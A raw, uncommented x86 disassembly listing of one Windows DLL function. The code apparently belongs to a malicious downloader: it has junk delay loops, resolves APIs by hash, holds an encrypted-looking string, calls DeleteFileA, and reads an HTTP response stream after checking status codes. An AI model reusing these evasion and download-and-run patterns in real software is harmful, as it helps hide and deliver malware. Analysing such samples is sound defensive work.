push 0x70d4
push 0x1243
movzx eax, byte [ebp + eax - 0xe2]
push 0x2bc4
push 1
push ebx
movzx eax, word [ebp + eax*2 - 0x500]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x4d96
sub ecx, eax
movzx eax, byte [ebp + esi - 0xe0]
mov word [ebp + eax*2 - 0x500], cx
lea ecx, [ebp - 0x150]
call fcn.1001a3cd
mov ecx, dword [ebp - 0x150]
add esp, 0x18
add esi, 2
cmp esi, 0x4f
jb 0x1001c3db
xor eax, eax
mov dword [ebp - 0x284], 7
mov word [ebp - 0x4b4], ax
lea ecx, [ebp - 0x298]
mov word [ebp - 0x298], ax
lea eax, [ebp - 0x500]
push eax
mov dword [ebp - 0x288], ebx
call fcn.1001703a
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x14], 0x678e
cmp dword [ebp - 0x14], 0x6b1c
jle 0x1001c53f
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
mov dword [ebp - 0x28], ebx
cdq
mov edi, ebx
idiv esi
mov esi, dword [ebp - 0x20]
mov ecx, edx
mov dword [ebp - 0x38], ecx
mov eax, edi
and eax, ecx
lea ecx, [ebp - 0x430]
xor eax, esi
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001c4dd
mov eax, dword [eax]
push eax
call fcn.10046233
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x430]
call fcn.1000ebf5
mov ecx, dword [ebp - 0x38]
inc edi
cmp edi, 0x4760
jl 0x1001c4bf
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0xf02
jl 0x1001c4ad
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x76dc
jl 0x1001c4a8
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x1210
jl 0x1001c4a3
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [ebp - 0x18], 0xfffb
mov dword [ebp - 0x24], 0x67684593
mov dword [ebp - 0x160], 7
mov dword [ebp - 0x20], ebx
jmp 0x1001c56d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x208], 4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1001c55c
cmp dword [ebp - 0x18], ebx
je 0x1001c5cf
jg 0x1001c580
jne 0x1001c580
mov eax, ebx
jmp 0x1001c583
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x18]
jl 0x1001c58d
xor ecx, ecx
inc ecx
jmp 0x1001c58f
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
add edx, 0x3d19f83
cmp edx, eax
setl cl
mov dword [ebp - 0x208], ecx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x18]
jle 0x1001c5c6
mov eax, dword [ebp - 0x208]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x208]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x204]
imul ecx, eax
cmp ecx, dword [ebp - 0x160]
jne 0x1001c61f
push 1
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], 0x6eb81f94
push eax
lea eax, [ebp - 0x160]
mov edx, 0x5189
push eax
push 0xecb
push 1
push ebx
mov ecx, 0x3ecc
call fcn.1001a3cd
add esp, 0x18
jmp 0x1001c62b
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x14], 0x6523
jge 0x1001c63f
push str.tglbod_amjm_tqqi_xbgbelmfc_xcpmudt
call fcn.10046233
pop ecx
push 0x13
pop ecx
mov dword [ebp - 4], 0x1a
lea edi, [ebp - 0x500]
xor eax, eax
lea edx, [ebp - 0x1dc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x230]
push eax
push ecx
push 0x362f
push ecx
push ecx
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0x1dc], 0x5c68ec0a
push eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0xcee61780
push eax
mov dword [ebp - 0x230], 0xd6273d59
mov ecx, 0x3c15
mov dword [ebp - 0x1d4], 0x29c4ddb8
push 1
call fcn.10019f29
mov byte [ebp - 0x19], bl
add esp, 0x20
cmp byte [ebp - 0x19], 0
je 0x1001c6bf
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x260], 8
lea ecx, [ebp - 0x3c0]
push ecx
lea eax, [ebp - 0x274]
mov esi, 0x94af
cmovae eax, dword [ebp - 0x274]
mov edi, 0x87c3
push eax
push esi
push edi
call fcn.100302af
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001cbd0
cmp dword [ebp - 0x284], 8
lea ecx, [ebp - 0x3b0]
push ecx
lea eax, [ebp - 0x298]
cmovae eax, dword [ebp - 0x298]
push eax
push esi
push edi
call fcn.100302af
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001cbd0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c0]
push eax
push 3
push ebx
lea eax, [ebp - 0x3b0]
push eax
push esi
push 0xd54b
call fcn.100302af
pop ecx
pop ecx
call eax
test eax, eax
js 0x1001cbd0
cmp dword [ebp - 0x34], 0
je 0x1001cbd0
push 0x7c6c
lea eax, [ebp - 0x398]
xor dl, dl
push eax
push ecx
call fcn.10019ff3
add esp, 0xc
mov dword [ebp - 0x58], 0x1101e002
xor eax, eax
mov byte [ebp - 0x54], bl
mov word [ebp - 0x390], ax
mov ecx, ebx
mov word [ebp - 0x53], 0x122
push 0x74
pop eax
push 2
mov byte [ebp - 0x51], 0xf3
mov word [ebp - 0x168], ax
pop esi
mov dword [ebp - 0x134], ecx
cmp esi, 6
jne 0x1001c7b6
push 2
pop ecx
mov dword [ebp - 0x134], ecx
jmp 0x1001c804
movzx edx, byte [ebp + esi - 0x57]
mov eax, esi
sub eax, ecx
push 0x1f6b
push 0x424e
movzx eax, byte [ebp + eax - 0x5a]
movzx ecx, word [ebp + eax*2 - 0x16c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x58]
add ecx, edx
xor dl, dl
push ecx
mov word [ebp + eax*2 - 0x16c], cx
lea ecx, [ebp - 0x134]
call fcn.1001abaf
mov ecx, dword [ebp - 0x134]
add esp, 0xc
add esi, 2
cmp esi, 8
jb 0x1001c7a6
xor eax, eax
mov dword [ebp - 0x190], 7
mov word [ebp - 0x166], ax
lea ecx, [ebp - 0x1a4]
mov word [ebp - 0x1a4], ax
lea eax, [ebp - 0x16c]
push eax
mov dword [ebp - 0x194], ebx
call fcn.1001703a
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1a4]
cmp dword [ebp - 0x190], 8
mov eax, dword [ebp - 0x194]
cmovae ecx, dword [ebp - 0x1a4]
push dword [ebp - 0x180]
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x218], ebx
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x214], ebx
cmovae ecx, dword [ebp - 0x1a4]
push eax
push ecx
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x210], ebx
call fcn.10017903
lea eax, [ebp - 0x1b4]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x1b4], ebx
call fcn.10016f20
mov edx, dword [ebp - 0x138]
cmp dword [edx + 0x14], 8
jb 0x1001c8c9
mov ecx, dword [edx]
jmp 0x1001c8cb
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1001c8d9
mov edx, dword [edx]
push dword [ebp - 0x180]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1b0], ebx
push eax
push edx
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
call fcn.10017903
push 0x1210
push 0x6df1
push 1
push 0x7602
push 1
push ebx
push 0x3764
push 0x2406
push 0x7305
push 0x55dc
lea edx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x1f
mov ecx, 0x2465
call fcn.1001b042
cmp dword [ebp - 0x190], 8
lea edx, [ebp - 0x1a4]
lea esi, [ebp - 0x2e0]
mov eax, dword [ebp - 0x34]
cmovae edx, dword [ebp - 0x1a4]
add esp, 0x18
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2e0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x398]
push dword [ebp - 0x1b0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1001cb7e
mov esi, dword [ebp - 0x18c]
mov cl, 1
mov dword [ebp - 0x15c], ebx
cmp esi, dword [ebp - 0x188]
je 0x1001c9f3
add esi, 0x18
test cl, cl
je 0x1001c9db
cmp dword [esi + 0x14], 8
jb 0x1001c9ba
mov edi, dword [esi]
jmp 0x1001c9bc
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1001c9c7
mov edx, dword [esi - 0x18]
jmp 0x1001c9ca
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x34]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1001c9dd
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x188]
jne 0x1001c9ac
test cl, cl
je 0x1001cb7e
mov eax, dword [ebp - 0x34]
lea esi, [ebp - 0x2e0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1001cb7e
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x15c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1001cb7e
cmp dword [ebp - 0x15c], 0x130
je 0x1001ca47
cmp dword [ebp - 0x15c], 0xc8
jne 0x1001cb7e
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1001cb7e
mov esi, dword [ebp - 0x3c8]
mov dword [ebp - 0x224], esi
test esi, esi
je 0x1001cb7e
mov eax, dword [esi]
lea ecx, [ebp - 0x548]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1001cb41
mov edi, dword [ebp - 0x540]
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x178]
push ecx
push edi
push eax
mov dword [ebp - 0x174], eax
lea ecx, [ebp - 0x178]
lea eax, [ebp - 0x310]
mov dword [ebp - 0x1e4], edi
push eax
mov byte [ebp - 0x40], bl
call fcn.1001ce5a
mov eax, ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x158], eax
mov ebx, edi
add eax, dword [ebp - 0x178]
lea edx, [ebp - 0x164]
mov ecx, dword [esi]
push edx
push ebx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1001cb14
lea eax, [ebp - 0x158]
mov dl, 1
push eax
lea eax, [ebp - 0x164]
push eax
push ecx
mov ecx, 0x3daa
call fcn.1001abaf
sub ebx, dword [ebp - 0x164]
add esp, 0xc
mov eax, dword [ebp - 0x158]
cmp eax, edi
jb 0x1001cacd
push 0x1be7
push 0x58ac
push ecx
push ecx
lea eax, [ebp - 0x1e4]
mov cl, 1
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.1001aff8
add esp, 0x1c
xor ebx, ebx
push 0x12c4
push 0x2be3
push 1
push 0x65f7
push 1
push 1
lea eax, [ebp - 0x224]
mov edx, 0x2716
push eax
push 0x1390
push 0x8cd
push 0x1c45
mov ecx, 0x6fdf
call fcn.1001b042
add esp, 0x28
push 0x662c
lea eax, [ebp - 0x34]
mov edx, 0x4026
push eax
push ecx
push 0x5768
push ebx
mov ecx, 0x6171
call fcn.1001a85e
add esp, 0x14
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x1b0]
call fcn.1000f143
lea ecx, [ebp - 0x218]
call fcn.1000f143
push ebx
push 1
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 0x1a
call fcn.1000edc9
mov esi, 0x94af
push esi
push 0xe237
call fcn.100302af
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x178]
push eax
call fcn.1001cd76
push ebx
push 1
lea ecx, [ebp - 0x298]
call fcn.1000edc9
push ebx
push 1
lea ecx, [ebp - 0x274]
call fcn.1000edc9
lea ecx, [ebp - 0x18c]
call fcn.10017165
lea ecx, [ebp - 0x178]
call fcn.100173c6
lea ecx, [ebp + 8]
call fcn.10017165
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret